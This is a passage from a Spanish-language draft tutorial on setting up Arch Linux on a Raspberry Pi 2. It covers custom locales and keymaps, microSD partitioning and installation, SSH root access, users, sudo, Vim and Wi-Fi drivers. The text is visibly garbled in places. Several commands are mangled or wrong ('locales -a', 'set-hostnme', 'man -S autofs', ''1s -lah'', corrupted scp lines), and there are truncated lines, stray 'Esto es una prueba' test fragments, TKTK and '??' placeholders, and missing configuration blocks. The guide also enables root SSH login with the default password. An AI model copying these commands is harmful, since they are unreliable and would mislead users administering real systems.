donde $\langle group1 \rangle, \ldots, \langle groupn \rangle$ son los grupos a los que desea añadir al usuario $\langle username \rangle$

5.10 Configuración de idioma(s) en Arch Linux

Esta explicación está sacada principalmente del wiki de Arch Linux, en concreto, la entrada Locale (https://wiki.archlinux.org/index.php/Locale), aunque he terminado consultando muchas otras fuentes para hacer cosas que no vienen ahí.

Tengo un directorio que contiene un script y dos locales personalizados. Con esto, es muy sencillo el proceso de configuración de mis sistemas a mi gusto. Lo primero que debe hacer es copiar a su RbPi2, desde mi ordenador, el directorio ~/Dropbox/Documentos/rasp/localestotal/ con los tres ficheros que alberga. Puede copiarlos en su directorio home, por ejemplo; sería así:

```
# scp -r ~/Dropbox/Documentos/rasp/\langle n\_rpi \rangle/* root@\langle n\_rpi \rangle:/home/\langle username \rangle/
Esto es una prueba:
```

```
# scp -r ~/Dropbox/Documentos/rasp/(@nrpi(@/* root@\langle n\_rpi \rangle:/home/\langle username \rangle/
```

Le recuerdo que, si no es root, debe usar sudo; esto es para que los ficheros tengan, una vez copiados, como dueño a root y sean del grupo root. La opción -r, además de copiar los directorios recursivamente, sigue los enlaces simbólicos, que es lo que interesa aquí.

Ahora entre a dicho directorio /home/<username>/locales-total/ desde su shell en su Rb-Pi2 e introduzca:

```
$ sh locales-total
```

Cuando termine, reinicie su sistema y ya está. El script muestra al final la lista de los valores de sus variables de entorno de locales. En el proceso, como podrá ver, he usado locales personalizados nuevos (zfur_en_US.UTF8 y zfur_es_ES.UTF8), en lugar de modificar los que ya existen. Creo que es mejor, puesto que los predefinidos a veces se actualizan al actualizar el sistema y echan a perder mis modificaciones.

No obstante, ahora explicaré todo el proceso, por si quiere hacer alguna variación. Lo primero que debe hacer es ver qué locales tiene generados, que no es lo mismo que los que tiene habilitados. Para ello, deberá introducir:

```
$ localectl list-locales
```

Lo normal es que, tras una instalación limpia, no tenga ninguno. En realidad usa uno llamado C, que hará referencia al idioma inglés, pues es el idioma que viene predefinido, aunque no aparece con este comando (aparecería con locales -a). Ahora sólo una prueba: locales -a.

Para poder generar los locales creados por mí, es decir, zfur_en_US.UTF8 y zfur_es_ES.UTF8, deberá copiarlos al directorio /usr/share/i18n/locales/:

```
# cp /home/<username>/ zfur * /usr/share/i18n/locales/
```

Puede ver también la lista de todos los que se pueden generar y habilitar en su sistema editando /etc/locale.gen. Las entradas que aparecen con el símbolo # a la izquierda (es decir, las comentadas) son las que no se generan. Puede descomentar (es decir, quitar # de) las que desee generar. Yo, en mis RbPi2, uso:

```
en_US.ISO-88591-1
en_US.UTF-8 UTF-8
es_ES.ISO-88591-1
es_ES.UTF-8 UTF-8
zfur_en_US.UTF-8 UTF-8
zfur_es_ES.UTF-8 UTF-8
```

Las entradas zfur_es_ES.UTF-8 UTF-8 y zfur_es_ES.UTF-8 UTF-8 no se han descomentado, sino que he tenido que escribirlas, como es lógico. Ahora podrá generar los locales. Para ello, introduzca:

```
# locale-gen
```

Ojo, debe usar siempre este comando para generar los locales nuevos; no vale con reiniciar.

Para mostrar ahora, para la cuenta de usuario desde la que está en el shell, el locale que tiene fijado actualmente y los valores de sus variables de entorno de locales, introduzca:

```
$ localectl list-locales
```

Si ha configurado los mismos que yo, deberá aparecerle lo siguiente:

```
$ localectl list-locales
en_US
en_US.iso88591
en_US.utf8
es_ES
es_ES.iso88591
es_ES.itf8
spanish
zfur_en_US.utf8
zfur_es_ES.utf8
```

El locale que se usará, elegido entre los generados previamente, está establecido en los ficheros locale.conf, cada uno de los cuales debe contener una lista de establecimiento de valores a variables de entorno (cada una, en una línea). Por ejemplo,

```
LANG=en_AU.UTF8
LC_COLLATE=C
LC_TIME=en_DK.UTF8
```

El locale para todo el sistema se puede establecer creando o editando /etc/locale.conf, pero yo prefiero usar el comando localectl. Por ejemplo, puede usar:

```
$ localectl set-locale LANG=en_US.utf8 LANGUAGE=en_US LC_NUMERIC=zfur_es_ES.ut
> LC_TIME=es_ES.utf8 LC_MONETARY=zfur_es_ES.utf8 LC_PAPER=es_ES.utf8 LC_NAME=e
> LC_ADDRESS=es_ES.utf8 LC_TELEPHONE=es_ES.utf8 LC_MEASUREMENT=es_ES.utf8 \
> LC_IDENTIFICATION=es_ES.utf8 && localectl set-keymap es && localectl set-x11
```

Aunque aquí se ha dividido para que quepa en la hoja, se debe poner todo en un solo comando. Luego, con:

\$ localectl status

podrá ver como ha quedado. Esto dependerá de sus gustos. Yo prefiero tener los mensajes en inglés. De entre estas variables de entorno, una de las más importantes es LANG, pues es la que se usará para las variables que comienzan por LC_ y no tienen un valor establecido de forma explícita.

Para cada usuario se puede establecer sus locales, que prevalecerán sobre los locales de todo el sistema. Para esto, deberá crear o editar ~/.config/locale.conf. Puede hacer que se actualicen los locales de su usuario sin necesidad de salir y volver a entrar, pero el proceso es algo complejo: vo aconsejo que salga y vuelva a entrar a la sesión de ese usuario.

Tal y como hice al crear los locales zfur_es_ES.UTF8 y zfur_en_US.UTF8 basándome en es_ES.UTF8 y en_US.UTF8, puede customizar si lo desea algún locale instalado en su sistema. Para ello, lo primero que deberá hacer es crear el fichero de su nuevo locale en /usr/share/i18n/locales/. Yo suelo copiar uno sobre el que me basaré y modificar el nombre. Por ejemplo, lo llamaré zfur_es_ES a uno basado en es_ES. Si desea que, por ejemplo, en zfur_es_ES se use el punto como separador de la parte entera de la fraccionaria en los numerales y la separación de 3 en tres de cifras grandes se haga con un espacio estrecho de no separación, cambie los siguientes valores en dicho fichero:

Lo que ve a la derecha son los códigos en hexadecimal de los símbolos que desea usar en cada caso, para la codificación UTF-8 (de Unicode). También debe añadir la entrada

```
zfur_es_ES.UTF8 UTF-8
```

al fichero /etc/locale.gen. Ahora deberá regenerar los locales (recuerde, comando locale-gen) para que los cambios tengan efecto tras el reinicio posterior.

Ahora debe reiniciar. No es necesario que sea root; puede hacerlo desde cualquier cuenta de usuario siempre y cuando preceda de sudo al comando. El comando tendrá efecto en todo el sistema. Es decir, cuando reinicie, si introduce el comando localectl list-locales, verá que ha cambiado la configuración de todos los usuarios. Puede comprobar que efectivamente ha cambiado a español la variable LC_TIME introduciendo el comando:

\$ date

Si la fecha aparece ahora en español es que lo ha hecho correctamente. También puede poner ahora como nombre pretty de host un nombre con acentos gráficos; por ejemplo:

```
# hostnamectl --pretty set-hostnme "Raspberry Pi 2 Para Descargas y Reproducción de
```

Otra cosa que suelo hacer es usar un mapeado del teclado modificado por mí. El único cambio que hago con respecto al teclado normal y corriente en español es que intercambio las funciones de las teclas bloq mayús y esc. Lo hago porque uso mucho Vim y me resulta más cómodo. Para hacer esto, debe primero copiar el contenido del fichero /usr/share/kbd/keymaps/i386/qwerty/es.map.gz a un fichero, llamado, por ejemplo, zfur_es.map.gz, en el mismo directorio. Luego edite este último y deje así los siguientes códigos de teclas:

```
.
.
.
keycode 1 = Caps_Lock
.
.
.
keycode 58 = Escape
alt keycode 58 = Meta_Escape
.
.
```

Luego deberá establecer los locales, pero no como lo hizo antes, ahora deberá seleccionar el mapeado de teclas zfur_es, en lugar de es, tanto en el mapeado de teclas de la consola virtual (VC Keymap), como en el de la disposición en X11 (X11 Layout):

```
# localectl set-locale LANG=en_US.utf8 LANGUAGE=en_US LC_ALL=en_US.UTF-8 \
> && localectl set-keymap zfur_es && localectl set-x11-keymap zfur_es
```

Deberá comprobar que ha realizado correctamente los cambios con el siguiente comando:

```
$ localectl status
System Locale: LANG=en US.utf8
```

```
LANGUAGE=en_US
LC_NUMERIC=zfur_es_ES.utf8
LC_TIME=es_ES.utf8
LC_MONETARY=zfur_es_ES.utf8
LC_PAPER=es_ES.utf8
LC_NAME=es_ES.utf8
LC_ADDRESS=es_ES.utf8
LC_TELEPHONE=es_ES.utf8
LC_TELEPHONE=es_ES.utf8
LC_MEASUREMENT=es_ES.utf8
LC_IDENTIFICATION=es_ES.utf8
```

En Mac OS X lo mejor es que añada a su fichero de configuración de su shell (si es Bash, suele ser ~/.bashrc) lo siguiente:

```
export LC_ALL=en_US.UTF-8
export LANG=en_US.UTF-8
```

Recuerde que, para entrar con Mosh a una sesión remota de otro sistema, deberán ser compatibles los locales de ambos sistemas. Si no desea configurarlos, puede hacer entonces lo siguiente:

```
$ mosh root@server4 --server="LANG=$LANG mosh-server"
```

5.11 Instalación básica de Arch Linux en un RbPi2 desde un sistema Linux

La instalación básica desde Linux está basada en la explicación de la propia página oficial de Arch Linux: archlinuxarm.org/platforms/armv7/broadcom/raspberry-pi-2.

La instalación inicial se hace directamente sobre la tarjeta microSD, pero antes de nada, deberá tener habilitada en su sistema Linux la cuenta de root, cosa que no es siempre cierta; por ejemplo, Ubuntu la trae deshabilitada (vea habilitar la cuenta de root). Si desea, tras la instalación básica de Arch Linux en su RbPi2, puede deshabilitar la cuenta de root en su sistema Linux (vea deshabilitar cuenta root). No vale con simular que tiene una cuenta root (vea simular cuenta root).

- 1. Introduzca en un lector de tarjetas microSD de su ordenador la tarjeta microSD que desea emplear para instalar Arch Linux en su RbPi2. Si no tiene instalado el software para poder operar con medios con sistema de ficheros exFAT en su ordenador y esta tarjeta tiene particiones en dicho formato, aparecerá un mensaje de error al insertarla si su sistema intenta montarla automáticamente. No se preocupe; puede seguir con los pasos siguientes.
- 2. Antes de nada, debe averiguar los nombres descriptores del kernel (kernel name descriptors (los ficheros que están en /dev/) de las particiones de su tarjeta microSD. Para esto, puede usar el comando

```
$ lsblk
```

También verá si alguna(s) de esta(s) partición/particiones está(n) montada(s) en su sistema. Si no está seguro de cuál es la ruta de dispositivo de la tarjeta microSD, no siga, pues puede que por equivocación termine eliminando particiones importantes de su sistema.

3. En esta explicación se supondrá que dicha ruta es /dev/sdX; ese X es un carácter genérico que puede tener como valor a, b, etc. Una vez que sepa a ciencia cierta cuál es la ruta de su fichero de dispositivo de su tarjeta microSD, si según el comando lsblk había montada alguna de las particiones de dicha tarjeta microSD, desmóntela mediante el shell con el comando umount:

\$ umount /dev/sdX[1- $\langle n \rangle$]

donde $\langle n \rangle$ es el número mayor de su partición del dispositivo /dev/sdX; si la numeración de dichas particiones según sus nombres descriptores del kernel no es consecutiva, desmóntelas una a una. Si trata de desmontar estas particiones desde la interfaz gráfica, puede que lo desmonte completamente y no aparezcan los ficheros de dispositivo para dicha tarjeta cuando los muestra con el comando lsblk, con lo cual, a efectos prácticos, es como si hubiera extraído la tarjeta microSD de su ordenador. Si su sistema no intentó montar nada, mejor; no tendrá que hacer lo dicho.

4. Ahora, ejecute el comando fdisk (como root o con sudo) de /dev/sdX

fdisk /dev/sdX

- 5. Una vez en el entorno del comando fdisk, aparecerá Command (m for help):. Entonces deberá borrar las particiones existentes y crear una nueva. Para hacer esto, deberá seguir los siguientes pasos (advierta que los cambios no tendrán efecto hasta que no introduzca la opción de la letra w):
 - *a*) Escriba o y pulse *intro*. Esto borrará las particiones existentes en esta unidad (la del dispositivo /dev/sdX).
 - b) Escriba p y pulse intro. Esto muestra cuáles serían las particiones según los cambios que ha hecho con fdisk hasta ahora (recuerde que los cambios no tendrán efecto mientras no use la opción w); ahora mismo, no debería haber particiones, pues e comando o se supone que las ha "borrado".
 - c) Escriba n y pulse <code>intro</code>; luego, para el tipo de partición, escriba p (de <code>primary</code>) y pulse <code>intro</code>, y, para el número de partición, escriba 1 y pulse <code>intro</code>, para que esta partición que está creando sea la 1 (dev/sdX1). En first sector, acepte el valor predeterminado (default), por tanto, sólo tendrá que pulsar <code>intro</code> (el valor del sector es 2048) y, para el último sector, introduzca +100M y pulse <code>intro</code>, con lo que tendrá un tamaño de 100 MiB en la partición.
 - d) Ahora escriba t y pulse intro; esto cambia el system id de la partición. Luego, escriba c y pulse intro, para que establezca el tipo de partición como W95 FAT32 (LBA) es decir, una partición del tipo FAT.
 - *e*) Ahora debe crear otra partición, para lo que deberá pulsar n y luego *intro*. Luego, p y después *intro*, para que la partición sea primaria como la anterior, y luego 2 y después *intro*, para que la partición sea la segunda (/dev/sdX2). Ahora, para

seleccionar el primer sector, deberá pulsar intro para que se acepte el valor predeterminado, que debe ser de 206848 (número de sector), es decir, el primer sector justo a continuación de la partición anterior, y, para el último sector, asigne el tamaño que desee. Si quiere crear otra partición para algún uso particular, no podrá usar todo el tamaño restante para ésta. Creo que asignando a esta 8 GiB (+8G) se tiene de sobra para instalar todo el software que vaya a necesitar. No obstante, si lo prefiere, puede asignar a esta partición todo el tamaño restante y luego reparticionarla mediante el uso en su ordenador de software de reparticionado, como, por ejemplo, gParted.

- f) Ahora, si no ha usado todo el tamaño restante para la partición anterior, cree otra partición de Linux como la anterior sólo que esta vez en el último paso sí deberá seleccionar el valor predeterminado. Esta partición será la /dev/sdX3.
- g) Ahora introduzca w y luego pulse *intro* para que se escriba la tabla de particiones en la tarjeta microSD y se cierre el programa fdisk.
- 6. Ahora debe crear y montar el sistema de ficheros FAT16. Antes de hacerlo, si tiene montada alguna de las particiones de /dev/sdX, debe desmontarlas con el comando umount desde el shell, aunque se le dijo antes que las desmontara:

```
# mkfs.vfat /dev/sdX1
# mkdir boot/
# mount /dev/sdX1 boot/
```

Con esto ha creado el sistema de ficheros FAT16 en la partición /dev/sdX1, luego, el directorio boot/ (en la ruta desde la que haya introducido el comando) y ha montado dicho sistema de ficheros en el directorio que acaba de crear.

 Ahora haga lo mismo con el sistema de ficheros EXT4 en la otra partición y con el directorio root/:

```
# mkfs.ext4 /dev/sdX2
# mkdir root/
# mount /dev/sdX2 root/
```

También puede dar formato ahora a la tercera partición si la creó:

```
# mkfs.ext4 /dev/sdX3
```

Podría haber usado otro sistema de ficheros que sirva para Linux. No tiene que montar la partición. Si lo prefiere no le dé el formato ahora a la última partición y déselo desde el propio RbPi2 cuando tenga el sistema básico instalado. A mí me parece más cómodo hacerlo ahora.

8. Ahora elimine la imagen que tenga y descargue la última que exista, que deberá luego copiar a la tarjeta microSD:

```
$ rm ArchLinuxARM-rpi-2-latest.tar.gz && \
> wget http://archlinuxarm.org/os/ArchLinuxARM-rpi-2-latest.tar.gz
```

Lo nomrmal es que lo haga desde su directorio home, aunque podría hacerlo desde cualquier otro sobre el que tenga los privilegios pertinentes. Ahora toca descomprimir y desarchivar la imagen al directorio root/. Ésta es la parte que debe hacer necesariamente como root y no vale hacerlo con sudo:

```
# bsdtar -xpf ArchLinuxARM-rpi-2-latest.tar.gz -C root/
# sync
```

9. Mueva ahora los ficheros de arranque a la primera partición (es decir, a /dev/sdX1):

```
# mv root/boot/* boot/
```

10. Desmonte ahora las dos particiones

```
# umount boot/ root/
```

- 11. Extraiga la tarjeta microSD, introdúzcala en su RbPi2, conecte el cable de red Ethernet a su RbPi2 y luego conéctele el cable microUSB de alimentación. Antes, es aconsejable asegurarse de que no tiene conectado nada a los puertos de la RbPi2; lo que haya que instalar, como, por ejemplo, las tarjetas wi-fi, lo instalará luego.
- 12. Ahora, si conoce la dirección IP que le ha asignado su router a la interfaz del puerto Ethernet de su RbPi2 (lo normal es que se llame eth0), puede conectarse al mismo, desde su ordenador, mediante una sesión SSH (secure shell). Es aconsejable, no obstante, que averigue las direcciones MAC de la(s) interfaz/interfaces de red de su RbPi2 y en su router les asocie una dirección IP estática, para poder entrar fácilmente mediante SSH y para casi cualquier propósito. Además, si lo desea, puede modificar su fichero /etc/hosts para poder referirse a la(s) dirección/direcciones IP de su RbPi2 mediante un nombre. Desde Mac OS, deberá configurar el fichero /private/etc/hosts.
- 13. Si lo desea, para mantener limpio su ordenador, puede ahora eliminar los directorios boot/y root/ (vea eliminar un directorio), deshabilitar la cuenta de root (vea deshabilitar la cuenta de root) y eliminar el fichero que descargó para la instalación (ArchLinuxARM-rpi-2-latest.tar.gz).

5.12 Instalación complementaria

La instalación complementaria y de los drivers de la tarjeta wi-fi está basada en el vídeo "Configure Arch Linux on a Raspberry Pi 2", de thexjib, en YouTube (www.youtube.com/watch?v=kCb5rmFJwzs) y en las entradas fstab (https://wiki.archlinux.org/index.php/Fstab#Automount_with_systemd), Persistent block device naming (https://wiki.archlinux.org/index.php/Persistent_block_device_naming) y Autofs (https://wiki.archlinux.org/index.php/Autofs) del wiki de Arch Linux.

Aquí suponemos que ha accedido a su sistema RbPi2 por una sesión remota de SSH mediante la interfaz Ethernet (que lo más probable es que el sistema use el designador eth0 para referirse a ella). La cuenta a la que deberá acceder es a root, con contraseña root, si no la ha cambiado. Deberá conocer la dirección MAC de la interfaz eth0 del RbPi2. Si no la conoce, puede entrar en la configuración de su router y verla ahí. Una vez que la conozca, es aconsejable configurar el router para que asigne siempre una misma dirección IP a dicha dirección MAC. Así accederá por SSH a la misma dirección siempre; de lo contrario, tendría que buscar qué dirección IP tiene asignada su interfaz eth0 tras cada reinicio. También puede configurar un nombre, para acceder sin necesidad de escribir la dirección, en su fichero /etc/hosts (en el del ordenador desde el que establecerá la sesión remota por SSH con el RbPi2).

Otro inconveniente para que pueda acceder por sesión de SSH es que, tras la instalación básica, la única cuenta que tiene en su sistema es root y viene deshabilitada la opción de acceder por SSH a la cuenta root del sistema. Así, pues, para habilitarla deberá editar /etc/ssh/sshd_config y, si tiene descomentado

```
PermitRootLogin without-password cámbielo por
```

Puede hacerlo también, si no tiene un teclado y pantalla donde conectarlo, montando la tarjeta microSD en su sistema.

Luego puede, bien reiniciar el sistema, o bien reiniciar el servidor SSH:

```
# systemctl restart sshd.service
```

Lo primero que suelo hacer es copiar los ficheros de configuración de mi ordenador, en el directorio /home/<mi_usuario>/Dropbox/Docuentos/rasp/<rbpi_hostname>/:

```
# scp - r / home / (mi_usuario) / Dropbox / Documentos / rasp / root@ (rbpi_hostname) - en0: / root / roo
```

Ahora actualice el RbPi2 (vea ??). Una vez terminada la actualización, puede instalar los paquetes que siempre suele usar:

```
paquetes que siempre suele usar:
# pacman -S vim vim-spell-en vim-spell-es vim-colorsamplerpack wpa_supplicant
```

Ahora puede introducir desde su RbPi2 el siguiente comando

```
# cat /root/rasp/bashrc-add >> /etc/bash.bashrc && \
> rm /root/rasp/bashrc-add
```

para añadir a /etc/bash.bashrc la configuración a mi gusto. También puede hacer lo mismo con el fichero de configuración global de Vim:

```
# cat /root/rasp/vimrc-add >> /etc/vimrc && \
> rm /root/rasp/vimrc-add
```

Ahora deberá reiniciar su RbPi2 (vea ??). También puede, luego, si lo desea, eliminar los paquetes huérfanos que pueda tener, aunque es raro que tenga alguno justo tras instalar el sistema (vea Eliminar paquetes huérfanos).

Luego, cambie los nombres de host (vea ??). Como puede que haya comprobado, no se le permite usar acentos gráficos ahora mismo; no es que no lo permita el comando hostnamectl sino que su shell aún no tiene configurada la entrada de teclado en español (vea ??). Tambiér puede ahora configurar la fecha y la hora de su sistema; vea ??. Ahora reinicie el sistema y comprobará que el prompt del shell mostrará el nuevo static hostname; ya no se llamará alarmpi sino (hostname).

Ahora debería cambiar el idioma a su gusto. Para ello, introduzca lo siguiente:

```
# mv /root/rasp/locales/zfur_e{n,s}_* /usr/share/i18n/locales/
```

También deberá mover lo siguiente:

```
# mv /root/rasp/keymap/zfur_es.map.gz /usr/share/kbd/keymaps/i386/qwerty/
```

Ahora edite /etc/locale.gen y descomente los locales que desea generar (es decir, elimine el # a su izquierda); en mi caso:

```
en_US.ISO-88591-1
en_US.UTF-8 UTF-8
es_ES.ISO-88591-1
es_ES.UTF-8 UTF-8
zfur_en_US.UTF-8 UTF-8
zfur_es_ES.UTF-8 UTF-8
```

Las entradas zfur_es_ES.UTF-8 UTF-8 y zfur_en_US.UTF-8 UTF-8 no se han descomentado, sino que he tenido que escribirlas, como es lógico. Ahora podrá generar los locales. Para ello, introduzca:

```
# locale-gen
```

Ojo, debe usar siempre este comando para generar los locales nuevos; no vale con reiniciar.

Luego deberá establecer los locales, pero no como lo hizo antes, ahora deberá seleccionar el mapeado de teclas zfur_es, en lugar de es, tanto en el mapeado de teclas de la consola virtual (VC Keymap), como en el de la disposición en X11 (X11 Layout):

```
# localectl set-locale LANG=en_US.utf8 LANGUAGE=en_US \
> LC_NUMERIC=zfur_es_ES.utf8 LC_TIME=es_ES.utf8 LC_MONETARY=zfur_es_ES.utf8 \
> LC_PAPER=es_ES.utf8 LC_NAME=es_ES.utf8 LC_ADDRESS=es_ES.utf8 \
> LC_TELEPHONE=es_ES.utf8 LC_MEASUREMENT=es_ES.utf8 LC_IDENTIFICATION=es_ES.utf8 \
> && localectl set-keymap zfur_es && localectl set-x11-keymap zfur_es
```

Debe ejecutar dos veces el comando para que VC Keymap acepte los el valor que desea usted. Deberá comprobar que ha realizado correctamente los cambios con el siguiente comando:

```
$ localectl status

System Locale: LANG=en_US.utf8

LANGUAGE=en_US

LC_NUMERIC=zfur_es_ES.utf8

LC_TIME=es_ES.utf8

LC_MONETARY=zfur_es_ES.utf8

LC_PAPER=es_ES.utf8

LC_NAME=es_ES.utf8

LC_ADDRESS=es_ES.utf8

LC_TELEPHONE=es_ES.utf8

LC_TELEPHONE=es_ES.utf8

LC_MEASUREMENT=es_ES.utf8

VC Keymap: zfur_es

X11 Layout: zfur_es
```

Reinicie ahora su RbPi2 (vea TKTK).

También puede sustituir ahora su fichero /etc/fstab por uno a su gusto

```
# mv /root/fstab /etc/fstab
```

Con el comando lsblk puede ver los nombres descriptores del kernel de las particiones de los dispositivos de almacenamiento de su sistema:

Esto es sólo un ejemplo; no tiene que coincidir con lo que le aparezca a usted. Ahora debe asignarle un sistema de ficheros a la partición que reservó para datos (si es que no lo hizo ya):

```
# mkfs.ext4 /dev/mmcblk0p3
```

Si desea que, por ejemplo, el uso de la partición sea el de guardar copias de seguridad, cree primero un directorio llamado backups en el directorio personal del usuario (/home/<username>/); es aconsejable que lo haga con el usuario que ha creado antes, pues así será éste el propietario de dicho directorio y el grupo al que pertenezca será users; si no lo hace así, tendrá que cambiarlo luego. Ahora introduzca:

```
# mount /dev/mmcblk0p3 /home/\langle username \rangle/backups
```

Si desea que sea, por ejemplo, para descargar ficheros por BitTorrent, lo puede llamar downloads. No es del todo necesario que introduzca este último comando. Simplemente puede esperar a que se monte tras el reinicio que haga después de modificar /etc/fstab.

Si quiere que se monte automáticamente así siempre durante el arranque del sistema, deberá editar el fichero /etc/fstab y hacer que quede algo similar a esto:

```
# <filesystem> <dir> <type> <options> <dump> <pass>
/dev/mmcblk0p1 /boot vfat defaults 0 0
/dev/mmcblk0p2 / ext4 defaults 0 0
/dev/mmcblk0p3 /home ext4 defaults 0 2
```

También puede hacer que /etc/fstab tenga en la columna de la izquierda los identificadores únicos de los dispositivos, es decir, los UUIDs. Según dicen en la wiki de Arch Linux, es mejor Ubuntu lo hace sin necesidad de tener que configurarlo. Para ello, primero vea los UUIDs de su sistema:

Éstos son los que aparecen en una de mis RbPi2; en la suya deberán ser distintos los valores. Ahora, edite /etc/fstab y cambie los nombres descriptores del kernel por sus correspondientes UUIDs, sin olvidar poner UUID= a la izquierda, donde antes ponía /dev/. En mi ejemplo, sería

```
#
# /etc/fstab: static file system information
```

Ahora, deberá guardar el fichero, salir y reiniciar el sistema. Si no ha metido la pata, el sistema debería reiniciar correctamente. Algo que he advertido al hacer esto es que se crea un servicio nuevo de fsck (chequeo) de la unidad que tiene pass con valor 2. Otra cosa que sucede es que el directorio /home/<username>/backups/ (o el que haya creado), tras este reinicio, se ha vuelto propiedad de root y del grupo root. Si lo cambia, ya no volverá a dar este problema.

TKTKTKTK Ahora debe configurar el automontado de sistemas de ficheros. Deberá instalar primero el pquete Autofs:

man -S autofs ————- Creo que se puede también con systemd. Sería cuestión de dar la opción automount a la entrada correspondiente

TKTKTKTKTKTKTKTK

Si va a instalar algún entorno de escritorio en su sistema, no tiene que seguir los pasos que se explican aquí, pues la instalación de dicho entorno lo hará por usted. Sin embargo, si desea no tener un entorno de escritorio porque desea usar su equipo para un propósito muy específico y no desea que consuma más recursos de los justos y necesarios, tendrá que seguir las explicaciones que se dan en la entrada USB storage devices del wiki de Arch Linux (https://wiki.archlinux.org/index.php/USB_storage_devices). En mi caso, prefiero que los equipos que uso para un propósito muy específico no tengan configurado el montaje de dispositivos de almacenamiento por USB; en caso de que lo desee en algún caso concreto, haré manualmente el montado. Otra cosa es configurar el montado de alguna unidad por NFS o CIFS. Para esto, puede ver la entrada NFS del wiki de Arch Linux (https://wiki.archlinux.org/index.php/NFS).

Creo que ahora sería un buen momento de cambiar la contraseña de root. Para ello, deberá introducir

passwd

Se le pedirá entonces dos veces que introduzca la contraseña nueva.

Ahora puede crear los grupos que desee (vea **Crear un grupo nuevo**). El único que a veces necesito y no viene de serie es kodi; los demás, como power, wheel, etc., vienen de serie en Arch Linux.

También puede crear una cuenta de usuario ahora, si lo desea (vea ??). Es conveniente que el grupo principal al que pertenezca el usuario sea users y también hago que pertenezca a los grupos wheel y power:

```
# useradd -m -g users -G wheel,power,ftp,audio,video,storage,network \ > -k /etc/skel/ -s /bin/bash \langle username 
angle
```

Ahora lo que suelo hacer es crear al usuario ctafur con permisos de administración que se los voy dando con Polkit. Una vez que le he dado los permisos necesarios, lo usaré para configurar el sistema. El usuario alarm viene de forma predeterminada. Este usuario será el que use para el uso normal del sistema. Eso sí, lo añadiré también a algunos de los grupos, como power, ftp, audio, video y storage.

También deberá crear una contraseña para dicho usuario:

```
# passwd \langle username \rangle
```

Se le pedirá dos veces que introduzca la contraseña que desea.

Si desea poder emplear el comando sudo para poder dar privilegios de administración a ciertos usuarios, tendrá que instalar el paquete sudo:

```
# pacman -S sudo
```

Una vez instalado sudo, deberá editar el fichero /etc/sudoers, pero éste es un fichero especial y debe editarlo con el comando visudo, que, entre otras cosas, impide que varios usuarios puedan editar dicho fichero al mismo tiempo; porque, recuerde, Linux es multiusuario en todas sus versiones; tampoco se le permitiría editar /etc/sudoers desde root si no cambia los permisos de dicho fichero. Para ello, deberá usar el comando:

visudo

Una vez dentro, descomente (elimine el símbolo de almohadilla (#) de)

```
##
## User privilege specification
##
#/wheel ALL=(ALL) ALL
```

Si también lo desea, puede dar privilegios de forma individual a los usuarios añadiendo lo siguiente:

```
⟨username⟩ ALL=(ALL) ALL
```

Pero yo prefiero dar privilegios añadiéndolos al grupo wheel; así es más rápido. Otra cosa que suelo hacer es dar privilegios a los usuarios del grupo power para que puedan apagar, reiniciar y suspender el sistema sin que se les pida que introduzcan su contraseña. Para ello, añada a la última línea lo siguiente:

Una vez habilitado sudo, es aconsejable configurar varias cosas en /etc/bash.bashrc. Una es cambiar el tipo de terminal; la otra, la creación de algunos alias. Para ello, necesitará añadir lo suguiente al fichero /etc/bash.bashrc:

```
set -o vi
TERM=xterm-256color
alias 12='1s -lah'
alias rboot2='sudo systemctl reboot'
alias pwoff2='sudo systemctl poweroff'
alias hlt2='sudo systemctl halt'
```

Tras reiniciar, podrá usar estos comandos y podrá también usar la funcionalidad tab completion con ellos. Intenté introducir, también, alias ls='ls --color=auto' para que también se mostrara con colores los resultados del comando ls para root, pero no funcionaba. Aun así, pensándolo bien, creo que es buena idea que se diferencie visualmente lo que hago como root, así que lo dejaré así. Para comprobar que su terminal tiene ahora 256 colores, puede introducir el comando:

```
$ tput colors
```

También podría crear configuraciones personalizadas para cada usuario, creando y/o modificando el fichero /home/<username>/.bashrc.

Creo que es bueno que ahora reinicie el sistema. A partir de ahora, es preferible hacer las cosas desde el usuario ⟨username⟩ en lugar de desde root, por seguridad. Aunque aquí vea el prompt #, lo único que quiere decir es que el comando debe ejecutarse con privilegios de administración; podría ejecutarlos desde una sesión de usuario precediéndolos de sudo. Así que lo mejor es reiniciar el sistema y entrar por sesión de SSH con el usuario ⟨username⟩.

También suelo instalar Vim, es decir, Vi Improved. Para ello, basta con introducir:

```
# pacman -S vim vim-spell-en vim-spell-es vim-colorsamplerpack
```

Luego, modifique el fichero de configuración global de Vim para todo el sistema. Dicho fichero es /etc/vimrc. En éste, añada lo siguiente:

```
syntax on
:set encoding=utf8
:set fileencoding=utf8
:set textwidth=112
:set tabstop=2
:set softtabstop=2
:set ai shiftwidth=2
:set t_Co=256
:set expandtab
colorscheme xoria256
```

Ésta es la configuración que suelo usar. Si quiere ver qué hace cada línea, puede buscar en internet. También podría crear un fichero de configuración distinto para cada usuario, al igual que se dijo antes para la configuración de BASH. En tal caso, debería crear el fichero /home/<username>/.vimrc y añadir las configuraciones que desee para el usuario (username).

Otro paquete que puede venir bien instalar es base-devel, pero tampoco es tan necesario; depende de la función a la que quiera asignar el sistema:

```
# pacman -S base-devel
```

Una vez instalado, sería conveniente reiniciar el sistema. El reinicio, lógicamente, terminará la sesión de SSH y tendrá que volver a entrar.

5.13 Instalación y configuración del wifi

Ahora sería bueno instalar los drivers del chip wifi, si es que le ha puesto algún dongle de wifi. Si desea usar su sistema para aprender o practicar ataques a redes wifi, deberá entonces usar unos drivers que le permitan realizar inyección de paquetes, que no son los que se instalan siguiendo este tutorial; este tutorial es para un uso normal (es decir, simplemente conectarse a su red o a la de una organización). Si le interesa la otra opción, vea Instalar Software Para Crackear Redes Wi-Fi. Aun así, el paquete compat-wireless, que consta de unos drivers libres para poder

realizar inyección de paquetes con ciertos chips wifi, no soporta aún los chips de los dongles de wifi que tengo (vea http://www.aircrack-ng.org/doku.php?id=compat-wireless).

Los dongles que tengo para wi-fi son los siguientes:

- Edimax Technology Co., Ltd EW-7811Un 802.11n Wireless Adapter [Realtek RTL8188CUS]. Usa el driver rtl8192cu, que ya se instala automáticamente durante la instalación.
- 8179 Realtek Semiconductor Corp. RTL8188EUS 802.11n Wireless Network Adapter. Usa el driver r8188eu; tampoco tengo que instalarlo.

Tal y como explica el wiki de Arch Linux, el proceso de configurar el wireless consta de dos partes:

- 1. Identificar y asegurarse de que en su sistema se encuentra instalado el driver adecuado y configurar la interfaz wireless.
- Seleccionar un método de gestión de conexiones wireless. El gestor de conexiones que empleo actualmente es systemd-networkd.

